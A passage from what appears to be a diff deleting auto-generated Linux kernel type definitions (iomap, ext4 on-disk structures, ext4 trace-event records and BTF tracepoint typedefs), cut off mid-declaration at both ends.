iomap_dio_ops { - int (*end_io)(struct kiocb *, ssize_t, int, unsigned int); - void (*submit_io)(const struct iomap_iter *, struct bio *, loff_t); - struct bio_set *bio_set; -}; - -struct iomap_dio { - struct kiocb *iocb; - const struct iomap_dio_ops *dops; - loff_t i_size; - loff_t size; - atomic_t ref; - unsigned int flags; - int error; - size_t done_before; - bool wait_for_completion; - union { - struct { - struct iov_iter *iter; - struct task_struct *waiter; - struct bio *poll_bio; - } submit; - struct { - struct work_struct work; - } aio; - }; -}; - -enum { - DUMP_PREFIX_NONE = 0, - DUMP_PREFIX_ADDRESS = 1, - DUMP_PREFIX_OFFSET = 2, -}; - -enum { - IOPRIO_CLASS_NONE = 0, - IOPRIO_CLASS_RT = 1, - IOPRIO_CLASS_BE = 2, - IOPRIO_CLASS_IDLE = 3, -}; - -enum positive_aop_returns { - AOP_WRITEPAGE_ACTIVATE = 524288, - AOP_TRUNCATED_PAGE = 524289, -}; - -typedef int (*writepage_t)(struct page *, struct writeback_control *, void *); - -struct dax_holder_operations { - int (*notify_failure)(struct dax_device *, u64, u64, int); -}; - -struct fs_error_report { - int error; - struct inode *inode; - struct super_block *sb; -}; - -struct ext4_group_desc { - __le32 bg_block_bitmap_lo; - __le32 bg_inode_bitmap_lo; - __le32 bg_inode_table_lo; - __le16 bg_free_blocks_count_lo; - __le16 bg_free_inodes_count_lo; - __le16 bg_used_dirs_count_lo; - __le16 bg_flags; - __le32 bg_exclude_bitmap_lo; - __le16 bg_block_bitmap_csum_lo; - __le16 bg_inode_bitmap_csum_lo; - __le16 bg_itable_unused_lo; - __le16 bg_checksum; - __le32 bg_block_bitmap_hi; - __le32 bg_inode_bitmap_hi; - __le32 bg_inode_table_hi; - __le16 bg_free_blocks_count_hi; - __le16 bg_free_inodes_count_hi; - __le16 bg_used_dirs_count_hi; - __le16 bg_itable_unused_hi; - __le32 bg_exclude_bitmap_hi; - __le16 bg_block_bitmap_csum_hi; - __le16 bg_inode_bitmap_csum_hi; - __u32 bg_reserved; -}; - -struct ext4_inode { - __le16 i_mode; - __le16 i_uid; - __le32 i_size_lo; - __le32 i_atime; - __le32 i_ctime; - __le32 i_mtime; - __le32 i_dtime; - __le16 i_gid; - __le16 i_links_count; - __le32 i_blocks_lo; - __le32 i_flags; - union { - struct { - __le32 l_i_version; - } linux1; - struct { - __u32 h_i_translator; - } hurd1; - struct { - __u32 m_i_reserved1; - } masix1; - } osd1; - __le32 i_block[15]; - __le32 i_generation; - __le32 i_file_acl_lo; - __le32 i_size_high; - __le32 i_obso_faddr; - union { - struct { - __le16 l_i_blocks_high; - __le16 l_i_file_acl_high; - __le16 l_i_uid_high; - __le16 l_i_gid_high; - __le16 l_i_checksum_lo; - __le16 l_i_reserved; - } linux2; - struct { - __le16 h_i_reserved1; - __u16 h_i_mode_high; - __u16 h_i_uid_high; - __u16 h_i_gid_high; - __u32 h_i_author; - } hurd2; - struct { - __le16 h_i_reserved1; - __le16 m_i_file_acl_high; - __u32 m_i_reserved2[2]; - } masix2; - } osd2; - __le16 i_extra_isize; - __le16 i_checksum_hi; - __le32 i_ctime_extra; - __le32 i_mtime_extra; - __le32 i_atime_extra; - __le32 i_crtime; - __le32 i_crtime_extra; - __le32 i_version_hi; - __le32 i_projid; -}; - -struct ext4_locality_group { - struct mutex lg_mutex; - struct list_head lg_prealloc_list[10]; - spinlock_t lg_prealloc_lock; -}; - -enum { - EXT4_MF_MNTDIR_SAMPLED = 0, - EXT4_MF_FS_ABORTED = 1, - EXT4_MF_FC_INELIGIBLE = 2, -}; - -struct ext4_lazy_init { - long unsigned int li_state; - struct list_head li_request_list; - struct mutex li_list_mtx; -}; - -typedef enum { - EXT4_IGET_NORMAL = 0, - EXT4_IGET_SPECIAL = 1, - EXT4_IGET_HANDLE = 2, -} ext4_iget_flags; - -struct ext4_journal_cb_entry { - struct list_head jce_list; - void (*jce_func)(struct super_block *, struct ext4_journal_cb_entry *, int); -}; - -struct ext4_prealloc_space { - struct list_head pa_inode_list; - struct list_head pa_group_list; - union { - struct list_head pa_tmp_list; - struct callback_head pa_rcu; - } u; - spinlock_t pa_lock; - atomic_t pa_count; - unsigned int pa_deleted; - ext4_fsblk_t pa_pstart; - ext4_lblk_t pa_lstart; - ext4_grpblk_t pa_len; - ext4_grpblk_t pa_free; - short unsigned int pa_type; - spinlock_t *pa_obj_lock; - struct inode *pa_inode; -}; - -struct ext4_free_extent { - ext4_lblk_t fe_logical; - ext4_grpblk_t fe_start; - ext4_group_t fe_group; - ext4_grpblk_t fe_len; -}; - -struct ext4_allocation_context { - struct inode *ac_inode; - struct super_block *ac_sb; - struct ext4_free_extent ac_o_ex; - struct ext4_free_extent ac_g_ex; - struct ext4_free_extent ac_b_ex; - struct ext4_free_extent ac_f_ex; - __u32 ac_groups_considered; - __u32 ac_flags; - __u16 ac_groups_scanned; - __u16 ac_groups_linear_remaining; - __u16 ac_found; - __u16 ac_tail; - __u16 ac_buddy; - __u8 ac_status; - __u8 ac_criteria; - __u8 ac_2order; - __u8 ac_op; - struct page *ac_bitmap_page; - struct page *ac_buddy_page; - struct ext4_prealloc_space *ac_pa; - struct ext4_locality_group *ac_lg; -}; - -struct ext4_fsmap { - struct list_head fmr_list; - dev_t fmr_device; - uint32_t fmr_flags; - uint64_t fmr_physical; - uint64_t fmr_owner; - uint64_t fmr_length; -}; - -struct trace_event_raw_ext4_other_inode_update_time { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ino_t orig_ino; - uid_t uid; - gid_t gid; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_free_inode { - struct trace_entry ent; - dev_t dev; - ino_t ino; - uid_t uid; - gid_t gid; - __u64 blocks; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_request_inode { - struct trace_entry ent; - dev_t dev; - ino_t dir; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_allocate_inode { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ino_t dir; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_evict_inode { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int nlink; - char __data[0]; -}; - -struct trace_event_raw_ext4_drop_inode { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int drop; - char __data[0]; -}; - -struct trace_event_raw_ext4_nfs_commit_metadata { - struct trace_entry ent; - dev_t dev; - ino_t ino; - char __data[0]; -}; - -struct trace_event_raw_ext4_mark_inode_dirty { - struct trace_entry ent; - dev_t dev; - ino_t ino; - long unsigned int ip; - char __data[0]; -}; - -struct trace_event_raw_ext4_begin_ordered_truncate { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t new_size; - char __data[0]; -}; - -struct trace_event_raw_ext4__write_begin { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t pos; - unsigned int len; - char __data[0]; -}; - -struct trace_event_raw_ext4__write_end { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t pos; - unsigned int len; - unsigned int copied; - char __data[0]; -}; - -struct trace_event_raw_ext4_writepages { - struct trace_entry ent; - dev_t dev; - ino_t ino; - long int nr_to_write; - long int pages_skipped; - loff_t range_start; - loff_t range_end; - long unsigned int writeback_index; - int sync_mode; - char for_kupdate; - char range_cyclic; - char __data[0]; -}; - -struct trace_event_raw_ext4_da_write_pages { - struct trace_entry ent; - dev_t dev; - ino_t ino; - long unsigned int first_page; - long int nr_to_write; - int sync_mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_da_write_pages_extent { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 lblk; - __u32 len; - __u32 flags; - char __data[0]; -}; - -struct trace_event_raw_ext4_writepages_result { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int ret; - int pages_written; - long int pages_skipped; - long unsigned int writeback_index; - int sync_mode; - char __data[0]; -}; - -struct trace_event_raw_ext4__page_op { - struct trace_entry ent; - dev_t dev; - ino_t ino; - long unsigned int index; - char __data[0]; -}; - -struct trace_event_raw_ext4_invalidate_folio_op { - struct trace_entry ent; - dev_t dev; - ino_t ino; - long unsigned int index; - size_t offset; - size_t length; - char __data[0]; -}; - -struct trace_event_raw_ext4_discard_blocks { - struct trace_entry ent; - dev_t dev; - __u64 blk; - __u64 count; - char __data[0]; -}; - -struct trace_event_raw_ext4__mb_new_pa { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 pa_pstart; - __u64 pa_lstart; - __u32 pa_len; - char __data[0]; -}; - -struct trace_event_raw_ext4_mb_release_inode_pa { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 block; - __u32 count; - char __data[0]; -}; - -struct trace_event_raw_ext4_mb_release_group_pa { - struct trace_entry ent; - dev_t dev; - __u64 pa_pstart; - __u32 pa_len; - char __data[0]; -}; - -struct trace_event_raw_ext4_discard_preallocations { - struct trace_entry ent; - dev_t dev; - ino_t ino; - unsigned int len; - unsigned int needed; - char __data[0]; -}; - -struct trace_event_raw_ext4_mb_discard_preallocations { - struct trace_entry ent; - dev_t dev; - int needed; - char __data[0]; -}; - -struct trace_event_raw_ext4_request_blocks { - struct trace_entry ent; - dev_t dev; - ino_t ino; - unsigned int len; - __u32 logical; - __u32 lleft; - __u32 lright; - __u64 goal; - __u64 pleft; - __u64 pright; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_ext4_allocate_blocks { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 block; - unsigned int len; - __u32 logical; - __u32 lleft; - __u32 lright; - __u64 goal; - __u64 pleft; - __u64 pright; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_ext4_free_blocks { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 block; - long unsigned int count; - int flags; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_sync_file_enter { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ino_t parent; - int datasync; - char __data[0]; -}; - -struct trace_event_raw_ext4_sync_file_exit { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int ret; - char __data[0]; -}; - -struct trace_event_raw_ext4_sync_fs { - struct trace_entry ent; - dev_t dev; - int wait; - char __data[0]; -}; - -struct trace_event_raw_ext4_alloc_da_blocks { - struct trace_entry ent; - dev_t dev; - ino_t ino; - unsigned int data_blocks; - char __data[0]; -}; - -struct trace_event_raw_ext4_mballoc_alloc { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u32 orig_logical; - int orig_start; - __u32 orig_group; - int orig_len; - __u32 goal_logical; - int goal_start; - __u32 goal_group; - int goal_len; - __u32 result_logical; - int result_start; - __u32 result_group; - int result_len; - __u16 found; - __u16 groups; - __u16 buddy; - __u16 flags; - __u16 tail; - __u8 cr; - char __data[0]; -}; - -struct trace_event_raw_ext4_mballoc_prealloc { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u32 orig_logical; - int orig_start; - __u32 orig_group; - int orig_len; - __u32 result_logical; - int result_start; - __u32 result_group; - int result_len; - char __data[0]; -}; - -struct trace_event_raw_ext4__mballoc { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int result_start; - __u32 result_group; - int result_len; - char __data[0]; -}; - -struct trace_event_raw_ext4_forget { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 block; - int is_metadata; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_da_update_reserve_space { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 i_blocks; - int used_blocks; - int reserved_data_blocks; - int quota_claim; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_da_reserve_space { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 i_blocks; - int reserved_data_blocks; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_da_release_space { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 i_blocks; - int freed_blocks; - int reserved_data_blocks; - __u16 mode; - char __data[0]; -}; - -struct trace_event_raw_ext4__bitmap_load { - struct trace_entry ent; - dev_t dev; - __u32 group; - char __data[0]; -}; - -struct trace_event_raw_ext4_read_block_bitmap_load { - struct trace_entry ent; - dev_t dev; - __u32 group; - bool prefetch; - char __data[0]; -}; - -struct trace_event_raw_ext4__fallocate_mode { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t offset; - loff_t len; - int mode; - char __data[0]; -}; - -struct trace_event_raw_ext4_fallocate_exit { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t pos; - unsigned int blocks; - int ret; - char __data[0]; -}; - -struct trace_event_raw_ext4_unlink_enter { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ino_t parent; - loff_t size; - char __data[0]; -}; - -struct trace_event_raw_ext4_unlink_exit { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int ret; - char __data[0]; -}; - -struct trace_event_raw_ext4__truncate { - struct trace_entry ent; - dev_t dev; - ino_t ino; - __u64 blocks; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_convert_to_initialized_enter { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t m_lblk; - unsigned int m_len; - ext4_lblk_t u_lblk; - unsigned int u_len; - ext4_fsblk_t u_pblk; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_convert_to_initialized_fastpath { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t m_lblk; - unsigned int m_len; - ext4_lblk_t u_lblk; - unsigned int u_len; - ext4_fsblk_t u_pblk; - ext4_lblk_t i_lblk; - unsigned int i_len; - ext4_fsblk_t i_pblk; - char __data[0]; -}; - -struct trace_event_raw_ext4__map_blocks_enter { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - unsigned int len; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_ext4__map_blocks_exit { - struct trace_entry ent; - dev_t dev; - ino_t ino; - unsigned int flags; - ext4_fsblk_t pblk; - ext4_lblk_t lblk; - unsigned int len; - unsigned int mflags; - int ret; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_load_extent { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_fsblk_t pblk; - ext4_lblk_t lblk; - char __data[0]; -}; - -struct trace_event_raw_ext4_load_inode { - struct trace_entry ent; - dev_t dev; - ino_t ino; - char __data[0]; -}; - -struct trace_event_raw_ext4_journal_start { - struct trace_entry ent; - dev_t dev; - long unsigned int ip; - int blocks; - int rsv_blocks; - int revoke_creds; - char __data[0]; -}; - -struct trace_event_raw_ext4_journal_start_reserved { - struct trace_entry ent; - dev_t dev; - long unsigned int ip; - int blocks; - char __data[0]; -}; - -struct trace_event_raw_ext4__trim { - struct trace_entry ent; - int dev_major; - int dev_minor; - __u32 group; - int start; - int len; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_handle_unwritten_extents { - struct trace_entry ent; - dev_t dev; - ino_t ino; - int flags; - ext4_lblk_t lblk; - ext4_fsblk_t pblk; - unsigned int len; - unsigned int allocated; - ext4_fsblk_t newblk; - char __data[0]; -}; - -struct trace_event_raw_ext4_get_implied_cluster_alloc_exit { - struct trace_entry ent; - dev_t dev; - unsigned int flags; - ext4_lblk_t lblk; - ext4_fsblk_t pblk; - unsigned int len; - int ret; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_show_extent { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_fsblk_t pblk; - ext4_lblk_t lblk; - short unsigned int len; - char __data[0]; -}; - -struct trace_event_raw_ext4_remove_blocks { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t from; - ext4_lblk_t to; - ext4_fsblk_t ee_pblk; - ext4_lblk_t ee_lblk; - short unsigned int ee_len; - ext4_fsblk_t pc_pclu; - ext4_lblk_t pc_lblk; - int pc_state; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_rm_leaf { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t start; - ext4_lblk_t ee_lblk; - ext4_fsblk_t ee_pblk; - short int ee_len; - ext4_fsblk_t pc_pclu; - ext4_lblk_t pc_lblk; - int pc_state; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_rm_idx { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_fsblk_t pblk; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_remove_space { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t start; - ext4_lblk_t end; - int depth; - char __data[0]; -}; - -struct trace_event_raw_ext4_ext_remove_space_done { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t start; - ext4_lblk_t end; - int depth; - ext4_fsblk_t pc_pclu; - ext4_lblk_t pc_lblk; - int pc_state; - short unsigned int eh_entries; - char __data[0]; -}; - -struct trace_event_raw_ext4__es_extent { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - ext4_lblk_t len; - ext4_fsblk_t pblk; - char status; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_remove_extent { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t lblk; - loff_t len; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_find_extent_range_enter { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_find_extent_range_exit { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - ext4_lblk_t len; - ext4_fsblk_t pblk; - char status; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_lookup_extent_enter { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_lookup_extent_exit { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - ext4_lblk_t len; - ext4_fsblk_t pblk; - char status; - int found; - char __data[0]; -}; - -struct trace_event_raw_ext4__es_shrink_enter { - struct trace_entry ent; - dev_t dev; - int nr_to_scan; - int cache_cnt; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_shrink_scan_exit { - struct trace_entry ent; - dev_t dev; - int nr_shrunk; - int cache_cnt; - char __data[0]; -}; - -struct trace_event_raw_ext4_collapse_range { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t offset; - loff_t len; - char __data[0]; -}; - -struct trace_event_raw_ext4_insert_range { - struct trace_entry ent; - dev_t dev; - ino_t ino; - loff_t offset; - loff_t len; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_shrink { - struct trace_entry ent; - dev_t dev; - int nr_shrunk; - long long unsigned int scan_time; - int nr_skipped; - int retried; - char __data[0]; -}; - -struct trace_event_raw_ext4_es_insert_delayed_block { - struct trace_entry ent; - dev_t dev; - ino_t ino; - ext4_lblk_t lblk; - ext4_lblk_t len; - ext4_fsblk_t pblk; - char status; - bool allocated; - char __data[0]; -}; - -struct trace_event_raw_ext4_fsmap_class { - struct trace_entry ent; - dev_t dev; - dev_t keydev; - u32 agno; - u64 bno; - u64 len; - u64 owner; - char __data[0]; -}; - -struct trace_event_raw_ext4_getfsmap_class { - struct trace_entry ent; - dev_t dev; - dev_t keydev; - u64 block; - u64 len; - u64 owner; - u64 flags; - char __data[0]; -}; - -struct trace_event_raw_ext4_shutdown { - struct trace_entry ent; - dev_t dev; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_ext4_error { - struct trace_entry ent; - dev_t dev; - const char *function; - unsigned int line; - char __data[0]; -}; - -struct trace_event_raw_ext4_prefetch_bitmaps { - struct trace_entry ent; - dev_t dev; - __u32 group; - __u32 next; - __u32 ios; - char __data[0]; -}; - -struct trace_event_raw_ext4_lazy_itable_init { - struct trace_entry ent; - dev_t dev; - __u32 group; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_replay_scan { - struct trace_entry ent; - dev_t dev; - int error; - int off; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_replay { - struct trace_entry ent; - dev_t dev; - int tag; - int ino; - int priv1; - int priv2; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_commit_start { - struct trace_entry ent; - dev_t dev; - tid_t tid; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_commit_stop { - struct trace_entry ent; - dev_t dev; - int nblks; - int reason; - int num_fc; - int num_fc_ineligible; - int nblks_agg; - tid_t tid; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_stats { - struct trace_entry ent; - dev_t dev; - unsigned int fc_ineligible_rc[9]; - long unsigned int fc_commits; - long unsigned int fc_ineligible_commits; - long unsigned int fc_numblks; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_track_dentry { - struct trace_entry ent; - dev_t dev; - tid_t t_tid; - ino_t i_ino; - tid_t i_sync_tid; - int error; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_track_inode { - struct trace_entry ent; - dev_t dev; - tid_t t_tid; - ino_t i_ino; - tid_t i_sync_tid; - int error; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_track_range { - struct trace_entry ent; - dev_t dev; - tid_t t_tid; - ino_t i_ino; - tid_t i_sync_tid; - long int start; - long int end; - int error; - char __data[0]; -}; - -struct trace_event_raw_ext4_fc_cleanup { - struct trace_entry ent; - dev_t dev; - int j_fc_off; - int full; - tid_t tid; - char __data[0]; -}; - -struct trace_event_raw_ext4_update_sb { - struct trace_entry ent; - dev_t dev; - ext4_fsblk_t fsblk; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_data_offsets_ext4_other_inode_update_time {}; - -struct trace_event_data_offsets_ext4_free_inode {}; - -struct trace_event_data_offsets_ext4_request_inode {}; - -struct trace_event_data_offsets_ext4_allocate_inode {}; - -struct trace_event_data_offsets_ext4_evict_inode {}; - -struct trace_event_data_offsets_ext4_drop_inode {}; - -struct trace_event_data_offsets_ext4_nfs_commit_metadata {}; - -struct trace_event_data_offsets_ext4_mark_inode_dirty {}; - -struct trace_event_data_offsets_ext4_begin_ordered_truncate {}; - -struct trace_event_data_offsets_ext4__write_begin {}; - -struct trace_event_data_offsets_ext4__write_end {}; - -struct trace_event_data_offsets_ext4_writepages {}; - -struct trace_event_data_offsets_ext4_da_write_pages {}; - -struct trace_event_data_offsets_ext4_da_write_pages_extent {}; - -struct trace_event_data_offsets_ext4_writepages_result {}; - -struct trace_event_data_offsets_ext4__page_op {}; - -struct trace_event_data_offsets_ext4_invalidate_folio_op {}; - -struct trace_event_data_offsets_ext4_discard_blocks {}; - -struct trace_event_data_offsets_ext4__mb_new_pa {}; - -struct trace_event_data_offsets_ext4_mb_release_inode_pa {}; - -struct trace_event_data_offsets_ext4_mb_release_group_pa {}; - -struct trace_event_data_offsets_ext4_discard_preallocations {}; - -struct trace_event_data_offsets_ext4_mb_discard_preallocations {}; - -struct trace_event_data_offsets_ext4_request_blocks {}; - -struct trace_event_data_offsets_ext4_allocate_blocks {}; - -struct trace_event_data_offsets_ext4_free_blocks {}; - -struct trace_event_data_offsets_ext4_sync_file_enter {}; - -struct trace_event_data_offsets_ext4_sync_file_exit {}; - -struct trace_event_data_offsets_ext4_sync_fs {}; - -struct trace_event_data_offsets_ext4_alloc_da_blocks {}; - -struct trace_event_data_offsets_ext4_mballoc_alloc {}; - -struct trace_event_data_offsets_ext4_mballoc_prealloc {}; - -struct trace_event_data_offsets_ext4__mballoc {}; - -struct trace_event_data_offsets_ext4_forget {}; - -struct trace_event_data_offsets_ext4_da_update_reserve_space {}; - -struct trace_event_data_offsets_ext4_da_reserve_space {}; - -struct trace_event_data_offsets_ext4_da_release_space {}; - -struct trace_event_data_offsets_ext4__bitmap_load {}; - -struct trace_event_data_offsets_ext4_read_block_bitmap_load {}; - -struct trace_event_data_offsets_ext4__fallocate_mode {}; - -struct trace_event_data_offsets_ext4_fallocate_exit {}; - -struct trace_event_data_offsets_ext4_unlink_enter {}; - -struct trace_event_data_offsets_ext4_unlink_exit {}; - -struct trace_event_data_offsets_ext4__truncate {}; - -struct trace_event_data_offsets_ext4_ext_convert_to_initialized_enter {}; - -struct trace_event_data_offsets_ext4_ext_convert_to_initialized_fastpath {}; - -struct trace_event_data_offsets_ext4__map_blocks_enter {}; - -struct trace_event_data_offsets_ext4__map_blocks_exit {}; - -struct trace_event_data_offsets_ext4_ext_load_extent {}; - -struct trace_event_data_offsets_ext4_load_inode {}; - -struct trace_event_data_offsets_ext4_journal_start {}; - -struct trace_event_data_offsets_ext4_journal_start_reserved {}; - -struct trace_event_data_offsets_ext4__trim {}; - -struct trace_event_data_offsets_ext4_ext_handle_unwritten_extents {}; - -struct trace_event_data_offsets_ext4_get_implied_cluster_alloc_exit {}; - -struct trace_event_data_offsets_ext4_ext_show_extent {}; - -struct trace_event_data_offsets_ext4_remove_blocks {}; - -struct trace_event_data_offsets_ext4_ext_rm_leaf {}; - -struct trace_event_data_offsets_ext4_ext_rm_idx {}; - -struct trace_event_data_offsets_ext4_ext_remove_space {}; - -struct trace_event_data_offsets_ext4_ext_remove_space_done {}; - -struct trace_event_data_offsets_ext4__es_extent {}; - -struct trace_event_data_offsets_ext4_es_remove_extent {}; - -struct trace_event_data_offsets_ext4_es_find_extent_range_enter {}; - -struct trace_event_data_offsets_ext4_es_find_extent_range_exit {}; - -struct trace_event_data_offsets_ext4_es_lookup_extent_enter {}; - -struct trace_event_data_offsets_ext4_es_lookup_extent_exit {}; - -struct trace_event_data_offsets_ext4__es_shrink_enter {}; - -struct trace_event_data_offsets_ext4_es_shrink_scan_exit {}; - -struct trace_event_data_offsets_ext4_collapse_range {}; - -struct trace_event_data_offsets_ext4_insert_range {}; - -struct trace_event_data_offsets_ext4_es_shrink {}; - -struct trace_event_data_offsets_ext4_es_insert_delayed_block {}; - -struct trace_event_data_offsets_ext4_fsmap_class {}; - -struct trace_event_data_offsets_ext4_getfsmap_class {}; - -struct trace_event_data_offsets_ext4_shutdown {}; - -struct trace_event_data_offsets_ext4_error {}; - -struct trace_event_data_offsets_ext4_prefetch_bitmaps {}; - -struct trace_event_data_offsets_ext4_lazy_itable_init {}; - -struct trace_event_data_offsets_ext4_fc_replay_scan {}; - -struct trace_event_data_offsets_ext4_fc_replay {}; - -struct trace_event_data_offsets_ext4_fc_commit_start {}; - -struct trace_event_data_offsets_ext4_fc_commit_stop {}; - -struct trace_event_data_offsets_ext4_fc_stats {}; - -struct trace_event_data_offsets_ext4_fc_track_dentry {}; - -struct trace_event_data_offsets_ext4_fc_track_inode {}; - -struct trace_event_data_offsets_ext4_fc_track_range {}; - -struct trace_event_data_offsets_ext4_fc_cleanup {}; - -struct trace_event_data_offsets_ext4_update_sb {}; - -typedef void (*btf_trace_ext4_other_inode_update_time)(void *, struct inode *, ino_t); - -typedef void (*btf_trace_ext4_free_inode)(void *, struct inode *); - -typedef void (*btf_trace_ext4_request_inode)(void *, struct inode *, int); - -typedef void (*btf_trace_ext4_allocate_inode)(void *, struct inode *, struct inode *, int); - -typedef void (*btf_trace_ext4_evict_inode)(void *, struct inode *); - -typedef void (*btf_trace_ext4_drop_inode)(void *, struct inode *, int); - -typedef void (*btf_trace_ext4_nfs_commit_metadata)(void *, struct inode *); - -typedef void (*btf_trace_ext4_mark_inode_dirty)(void *, struct inode *, long unsigned int); - -typedef void (*btf_trace_ext4_begin_ordered_truncate)(void *, struct inode *, loff_t); - -typedef void (*btf_trace_ext4_write_begin)(void *, struct inode *, loff_t, unsigned int); - -typedef void (*btf_trace_ext4_da_write_begin)(void *, struct inode *, loff_t, unsigned int); - -typedef void (*btf_trace_ext4_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_journalled_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_da_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_writepages)(void *, struct inode *, struct writeback_control *); - -typedef void (*btf_trace_ext4_da_write_pages)(void *, struct inode *, long unsigned int, struct writeback_control *); - -typedef void (*btf_trace_ext4_da_write_pages_extent)(void *, struct inode *, struct ext4_map_blocks *); - -typedef void (*btf_trace_ext4_writepages_result)(void *, struct inode *, struct writeback_control *, int, int); - -typedef void (*btf_trace_ext4_writepage)(void *, struct page *); - -typedef void (*btf_trace_ext4_readpage)(void *, struct page *); - -typedef void (*btf_trace_ext4_releasepage)(void *, struct page *); - -typedef void (*btf_trace_ext4_invalidate_folio)(void *, struct folio *, size_t, size_t); - -typedef void (*btf_trace_ext4_journalled_invalidate_folio)(void *, struct folio *, size_t, size_t); - -typedef void (*btf_trace_ext4_discard_blocks)(void *, struct super_block *, long long unsigned int, long long unsigned int); - -typedef void (*btf_trace_ext4_mb_new_inode_pa)(void *, struct ext4_allocation_context *, struct ext4_prealloc_space *); - -typedef void (*btf_trace_ext4_mb_new_group_pa)(void *, struct ext4_allocation_context *, struct ext4_prealloc_space *); - -typedef void (*btf_trace_ext4_mb_release_inode_pa)(void *, struct ext4_prealloc_space *, long long unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_mb_release_group_pa)(void *, struct super_block *, struct ext4_prealloc_space *); - -typedef void (*btf_trace_ext4_discard_preallocations)(void *, struct inode *, unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_mb_discard_preallocations)(void *, struct super_block *, int); - -typedef void (*btf_trace_ext4_request_blocks)(void *, struct ext4_allocation_request *); - -typedef void (*btf_trace_ext4_allocate_blocks)(void *, struct ext4_allocation_request *, long long unsigned int); - -typedef void (*btf_trace_ext4_free_blocks)(void *, struct inode *, __u64, long unsigned int, int); - -typedef void (*btf_trace_ext4_sync_file_enter)(void *, struct file *, int); - -typedef void (*btf_trace_ext4_sync_file_exit)(void *, struct inode *, int); - -typedef void (*btf_trace_ext4_sync_fs)(void *, struct super_block *, int); - -typedef void 